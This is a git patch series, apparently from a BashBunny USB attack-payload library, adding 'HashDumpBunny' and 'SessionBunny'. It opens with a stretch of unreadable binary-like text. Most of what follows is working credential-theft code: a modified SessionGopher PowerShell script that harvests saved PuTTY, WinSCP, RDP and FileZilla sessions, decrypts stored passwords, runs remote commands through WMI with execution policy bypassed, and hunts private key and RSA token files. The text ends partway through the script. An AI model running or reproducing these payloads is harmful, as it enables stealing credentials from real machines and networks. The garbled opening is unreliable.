z8f%ehM)Cp-(XH_$k^PKo?By#9@mqL#wwIR@=*!hV;^1aYyZ-FlEDK`P0X}z zom_T9T4ZM0aYIli09}S-N{97M_LY6l_-#s8PZsD`odEP&(h>mc@5$@>jhBT+V7_6E z50%SNW`B5c%e%IDxzn=UVe!R!aWf?g@=-EP=hF(1H&L_-`OKX>9B`TFC3o8&9Os>W)VZT8O8J z30rhp+!7HnNQNWb<61#)(Gk_4(}uJ(6Z31-@`Lp~=f)Q-0Y4V)`URtlXrJL4z|~dOH0S<{Z?i#PS0fO!IloKc>krQM$40HRkfxk zVn$u(l>l7g`BZG16sy{`TZQT9%7%Zr#0md1sw?v>UsK=zsC+MSB#jVs1`v7m-)awE zUa1kImj+b6Uy1Z>m-`14mK|ysc$cJ`e>!?SJKBEayOOyIw#}NYu%Tq^Fg~g}TDW(d z@>9}rUCRI~p`L;`~dd+>ieUJy$@->OBG9_(jN3@~3pdQx)5*^J({$;3=S4e|d;~&hT+EPJQq%UHi zZ=;14-z%Q|h9mDcITUQV+kZm-Sh*``px~a^S`#=uoUx zO((YLm|ggIMU09tMtn0=BYh3+@(L-JgpMF7ltq|>t#7Wf-Pz)eA`3A~=tYd^Tww2auAlpK7IGNBV5FJVDK3dEve}jCLmY-AaPk){edV)cL!bqfk>F<~n_pWQ=kIZ32gnBDqV4v&bagZ)LjZ0QXfJY{la^59i86eMDS%Z=ylj6trB{kwk0YIJE>Ljb- zcXpV!AuIAwljwe0(I9qgdYErYJMWsP6LpiwboyA|01Pj&tt4rUHGMYu{gakkezYDS zUs_#KUPNF&I;6R_k#R-;TPN-<*yX*5UpDSaA2C-Rob}|(&-apCXE-8h%Z(MZ4mo%0 zrZeOpuyBj@UvU!_i}$>)dtQeSxXcTv+n4jSvn+5lA9z{9{KTQ6q7hby!UDu7EX z027YY6B?lb`eyx~{D4~mFZlt0_zNR1iu`{*tKb!;0@P4~+YT?*jPu>HDyz-HeT0fi zq=rKaKED0Pdj7f_jz}v(IqZJ*X8st!Y%?hw9NUFDR$adz-kO>xGAdT%X_1;60ssi5SerYwf8Vj}FDWs) z#LIaL-TLq^l>{|Q4?|OyClnL)0$Qv{kgu3MS@dy*RfhIh(=dw>IL?YcyaMpl#DAJ0 zKQ@cM&6QalFIJ8luW6*^2&g{$@@s$K+QkudO0V+aOSLXrUP^Hn_+kgE$Aq_oc+>YxAflJ)Un-gIr>n(n zfNkA9{NLF+Wx!7YZk?i?xyTC^bJaL`lZXB}?$0VX>KOsdI<#3olxkI9z0IdEvk`j& z5KUXAQ?YIm(ye#Y+*!2TU+zp+g{dsWkKt@WH8E(yi3S=pjfu2+Gaa+m%9$iUWX8>weTk* zU-B(oW!<< zskM0Pdw?&G@xI_En!G%U5jh2`stdQ6+!O}f@@Uox(3*2kKGlMI>*C#S_%E=LD*PE> zNV8&+XU=%Hj}~ZSp9;AQ^-h&zM8^PUhjC~c*E(t-=+OuRVs)#_lm3g=FJzvzq;=g;AF6{rq z+4+CnG&eFcyClHHHT+IUceZGeyuDr2+G>v}G_ar*eADXsR*(;9_1NTsr^zxMM|Vkg z!85X*Po$J+WhwwbhdPMvWBnif1meH+dx`&V2A@woQZ;zHTUy7O+D_;2!~6PL Date: Wed, 2 Feb 2022 14:53:25 +0100 Subject: [PATCH 36/59] Update README.md --- payloads/library/credentials/HashDumpBunny/README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md index eddfc820..f2b9c89a 100644 --- a/payloads/library/credentials/HashDumpBunny/README.md +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -4,6 +4,10 @@ Author: 0iphor13 Version: 1.0 +**Instruction:** + +This payload will run an obfuscated script to dump user hashes. If you don't trust this obfuscated .bat file, you should run it within a save space first - which should be best practice anyways ;-) + # **Instruction:** @@ -12,4 +16,4 @@ Place BunnyDump.bat in the same payload switch-folder as your payload.txt # Plug in BashBunny. Exfiltrate the out.txt file and try to crack the hashes. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) \ No newline at end of file +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) From 387a7fea5139138d9bcdaa500a3fa45fc6c77d33 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 11 Feb 2022 19:04:44 +0100 Subject: [PATCH 37/59] Uploaded SessionBunny Utilize SessionGopher (Slightly modified) to find PuTTY, WinSCP, and Remote Desktop saved sessions. It decrypts saved passwords for WinSCP. Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. Afterwards decide which is important and what you want to save onto your BashBunny. --- .../credentials/SessionBunny/README.md | 22 + .../credentials/SessionBunny/SessionBunny.ps1 | 948 ++++++++++++++++++ .../credentials/SessionBunny/censorepic.png | Bin 0 -> 52557 bytes .../credentials/SessionBunny/payload.txt | 44 + 4 files changed, 1014 insertions(+) create mode 100644 payloads/library/credentials/SessionBunny/README.md create mode 100644 payloads/library/credentials/SessionBunny/SessionBunny.ps1 create mode 100644 payloads/library/credentials/SessionBunny/censorepic.png create mode 100644 payloads/library/credentials/SessionBunny/payload.txt diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md new file mode 100644 index 00000000..5f35d397 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/README.md @@ -0,0 +1,22 @@ +**Title: SessionBunny** + +Author: 0iphor13 +Credit for SessionGopher: Brandon Arvanaghi + +Version: 1.0 + +**Instruction:** + +This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP, +Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. +After you recieve the information, save the items you are interested in simply on your BashBunny. + +# + +**Instruction:** + +Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Wait for the script to finish and decide what you wanna do with the information gathered +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) \ No newline at end of file diff --git a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 new file mode 100644 index 00000000..c7bd7818 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 @@ -0,0 +1,948 @@ +ļ»æfunction Invoke-SessionBunny +{ +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $False)] + [String] + $Computername, + + [Parameter(Position= 1 , Mandatory = $False)] + [String] + $Credential, + + [Parameter(Position= 2 , Mandatory = $False)] + [Alias("iL")] + [String] + $Inputlist, + + [Parameter(Position = 3, Mandatory = $False)] + [Switch] + $AllDomain, + + [Parameter(Position = 4, Mandatory = $False)] + [Switch] + $Everything, + + [Parameter(Position = 5, Mandatory = $False)] + [Switch] + $ExcludeDC, + + [Parameter(Position = 6, Mandatory = $False)] + [Switch] + [Alias("o")] + $OutCSV, + + [Parameter(Position=8, Mandatory = $False)] + [String] + $OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."}) + ) + + Write-Output ' + o + o + o_ + / ". SessionGopher + ," _-" Bunny Edition (0iphor13) + ," m m + ..+ ) Brandon Arvanaghi + `m..m @arvanaghi | arvanaghi.com + ' + $ErrorActionPreference = "SilentlyContinue" + #clear error listing + $Error.clear() + if ($OutCSV) { + Write-Verbose "Creating directory $OutputDirectory." + New-Item -ItemType Directory $OutputDirectory | Out-Null + New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null + if ($Everything) { + New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null + } + } + + if ($Credential) { + $Credentials = Get-Credential -Credential $Credential + } + + # Value for HKEY_USERS hive + $HKU = 2147483651 + # Value for HKEY_LOCAL_MACHINE hive + $HKLM = 2147483650 + + $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" + $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" + $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" + + if ($Inputlist -or $AllDomain -or $ComputerName) { + + # Whether we read from an input file or query active directory + $Reader = "" + + if ($AllDomain) { + Write-Verbose "Getting member computers in the domain." + $Reader = GetComputersFromActiveDirectory + } elseif ($Inputlist) { + Write-Verbose "Reading the list of targets." + $Reader = Get-Content ((Resolve-Path $Inputlist).Path) + } elseif ($ComputerName) { + Write-Verbose "Setting target computer as $ComputerName." + $Reader = $ComputerName + } + + $optionalCreds = @{} + if ($Credentials) { + $optionalCreds['Credential'] = $Credentials + } + + foreach ($RemoteComputer in $Reader) { + + if ($AllDomain) { + # Extract just the name from the System.DirectoryServices.SearchResult object + $RemoteComputer = $RemoteComputer.Properties.name + } + if ($RemoteComputer) { + Write-Output "Digging on" $RemoteComputer"..." + + $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} + + foreach ($SID in $SIDs) { + + # Get the username for SID we discovered has saved sessions + $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} + $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") + + # Created for each user found. Contains all sessions information for that user. + $UserObject = New-Object PSObject + + <# + PuTTY: contains hostname and usernames + SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored + RDP: contains hostname and username of sessions + FileZilla: hostname, username, relevant protocol information, decoded passwords if stored + WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used + #> + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + + # Construct tool registry/filesystem paths from SID or username + $RDPPath = $SID + $RDPPathEnding + $PuTTYPath = $SID + $PuTTYPathEnding + $WinSCPPath = $SID + $WinSCPPathEnding + $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" + $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" + + $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds + $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds + $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds + $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + + # If any WinSCP saved sessions exist on this box... + if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved WinSCP sessions." + # Get all sessions + $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames + + foreach ($WinSCPSession in $WinSCPSessions) { + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = $WinSCPSession + + $Location = $WinSCPPath + "\" + $WinSCPSession + + $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue + $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue + + if ($WinSCPSessionObject.Password) { + + $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" + + $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue + + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + + } + + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For Each WinSCP Session + + if ($ArrayOfWinSCPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If path to WinSCP exists + + if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved PuTTY sessions." + # Get all sessions + $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames + + foreach ($PuTTYSession in $PuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $Location = $PuTTYPath + "\" + $PuTTYSession + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = $PuTTYSession + $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($ArrayOfPuTTYSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If PuTTY session exists + + if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved RDP sessions." + # Get all sessions + $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames + + foreach ($RDPSession in $RDPSessions) { + + $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $Location = $RDPPath + "\" + $RDPSession + + $RDPSessionObject.Source = $Source + $RDPSessionObject.Hostname = $RDPSession + $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue + + [void]$ArrayOfRDPSessions.Add($RDPSessionObject) + + } + + if ($ArrayOfRDPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Sessions" + $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If RDP sessions exist + + # If we find the SuperPuTTY Sessions.xml file where we would expect it + if ($SuperPuTTYPath.Name) { + Write-Verbose "Found SupePuTTY sessions.xml" + $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$SuperPuTTYXML = $FileContents + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + # If we find the FileZilla sitemanager.xml file where we would expect it + if ($FileZillaPath.Name) { + Write-Verbose "Found FileZilaa sitemanager.xml" + $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$FileZillaXML = $FileContents + (ProcessFileZillaFile $FileZillaXML) + + } # FileZilla + + } # for each SID + + if ($Everything) { + Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes." + $ArrayofPPKFiles = New-Object System.Collections.ArrayList + $ArrayofRDPFiles = New-Object System.Collections.ArrayList + $ArrayofsdtidFiles = New-Object System.Collections.ArrayList + + $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) + + (ProcessThoroughRemote $FilePathsFound) + + } + + + # Check if the error is access denied. + $ourerror = $error[0] + if ($ourerror.Exception.Message.Contains("Access is denied.")) { + Write-Warning "Access Denied on $RemoteComputer" + } elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) { + Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?" + } else { + Write-Debug "$($ourerror.Exception.Message)" + } + } + }# for each remote computer + # Else, we run SessionGopher locally + } else { + + Write-Output "Digging on"(Hostname)"..." + + # Aggregate all user hives in HKEY_USERS into a variable + $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} + + # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. + foreach($Hive in $UserHives) { + + # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. + $UserObject = New-Object PSObject + + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfPPKFiles = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPFiles = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + + $objUser = (GetMappedSID) + $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) + + $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value + + # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key + $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" + $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" + $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" + $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" + $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" + + if (Test-Path $FileZillaPath) { + + [xml]$FileZillaXML = Get-Content $FileZillaPath + (ProcessFileZillaFile $FileZillaXML) + + } + + if (Test-Path $SuperPuTTYPath) { + + [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + if (Test-Path $MicrosoftRDPPath) { + + # Aggregates all saved sessions from that user's RDP client + $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath + + (ProcessRDPLocal $AllRDPSessions) + + } # If (Test-Path MicrosoftRDPPath) + + if (Test-Path $WinSCPPath) { + + # Aggregates all saved sessions from that user's WinSCP client + $AllWinSCPSessions = Get-ChildItem $WinSCPPath + + (ProcessWinSCPLocal $AllWinSCPSessions) + + } # If (Test-Path WinSCPPath) + + if (Test-Path $PuTTYPath) { + + # Aggregates all saved sessions from that user's PuTTY client + $AllPuTTYSessions = Get-ChildItem $PuTTYPath + + (ProcessPuTTYLocal $AllPuTTYSessions) + + } # If (Test-Path PuTTYPath) + + } # For each Hive in UserHives + + # If run in Thorough Mode + if ($Everything) { + + # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem + $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList + $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList + $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList + + # All drives found on system in one variable + $AllDrives = Get-PSDrive + + (ProcessThoroughLocal $AllDrives) + + (ProcessPPKFile $PPKExtensionFilesINodes) + (ProcessRDPFile $RDPExtensionFilesINodes) + (ProcesssdtidFile $sdtidExtensionFilesINodes) + + } # If Thorough + + } # Else -- run SessionGopher locally + +} # Invoke-SessionGopher + +#################################################################################### +#################################################################################### +## Registry Querying Helper Functions +#################################################################################### +#################################################################################### + +# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive +function GetMappedSID { + + # If getting SID from remote computer + if ($Inputlist -or $ComputerName -or $AllDomain) { + # Get the username for SID we discovered has saved sessions + $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" + $Value = "ProfileImagePath" + + (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue + # Else, get local SIDs + } else { + # Converts user SID in HKEY_USERS to username + $SID = (Split-Path $Hive.Name -Leaf) + $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") + $objSID.Translate( [System.Security.Principal.NTAccount]) + } + +} + +function DownloadAndExtractFromRemoteRegistry($File) { + # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by + # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location + $fullregistrypath = "HKLM:\Software\Microsoft\DRM" + $registrydownname = "ReadMe" + $regpath = "SOFTWARE\Microsoft\DRM" + + # On remote system, save file to registry + Write-Verbose "Reading remote file and writing on remote registry" + $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' + $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' + + $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds + + # Sleeping to let remote system read and store file + Start-Sleep -s 15 + + $remote_reg = "" + + # Grab file from remote system's registry + $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds + + $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) + $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) + + # Removing Registry value from remote system + $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds + + $UTF8decoded + +} + +#################################################################################### +#################################################################################### +## File Processing Helper Functions +#################################################################################### +#################################################################################### + +function ProcessThoroughLocal($AllDrives) { + + foreach ($Drive in $AllDrives) { + # If the drive holds a filesystem + if ($Drive.Provider.Name -eq "FileSystem") { + $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue + foreach ($Dir in $Dirs) { + Switch ($Dir.Extension) { + ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} + ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} + ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} + } + } + } + } + +} + +function ProcessThoroughRemote($FilePathsFound) { + + foreach ($FilePath in $FilePathsFound) { + # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) + $EverythingObject = "" | Select-Object -Property Source,Path + $EverythingObject.Source = $RemoteComputer + + $Extension = [IO.Path]::GetExtension($FilePath.Name) + + if ($Extension -eq ".ppk") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofPPKFiles.Add($EverythingObject) + } elseif ($Extension -eq ".rdp") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofRDPFiles.Add($EverythingObject) + } elseif ($Extension -eq ".sdtid") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofsdtidFiles.Add($EverythingObject) + } + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Format-List | Out-String + } + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Format-List | Out-String + } + } + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Format-List | Out-String + } + + } + +} # ProcessThoroughRemote + +function ProcessPuTTYLocal($AllPuTTYSessions) { + + # For each PuTTY saved session, extract the information we want + foreach($Session in $AllPuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) + $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Format-List | Out-String + } + + # Add the array of PuTTY session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + +} # ProcessPuTTYLocal + +function ProcessRDPLocal($AllRDPSessions) { + + # For each RDP saved session, extract the information we want + foreach($Session in $AllRDPSessions) { + + $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $MicrosoftRDPSessionObject.Source = $Source + $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) + $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) + + } # For each Session in AllRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft Remote Desktop (RDP) Sessions" + $ArrayOfRDPSessions | Format-List | Out-String + } + + # Add the array of RDP session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + +} #ProcessRDPLocal + +function ProcessWinSCPLocal($AllWinSCPSessions) { + + # For each WinSCP saved session, extract the information we want + foreach($Session in $AllWinSCPSessions) { + + $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) + $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) + $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) + + if ($WinSCPSessionObject.Password) { + $MasterPassUsed = 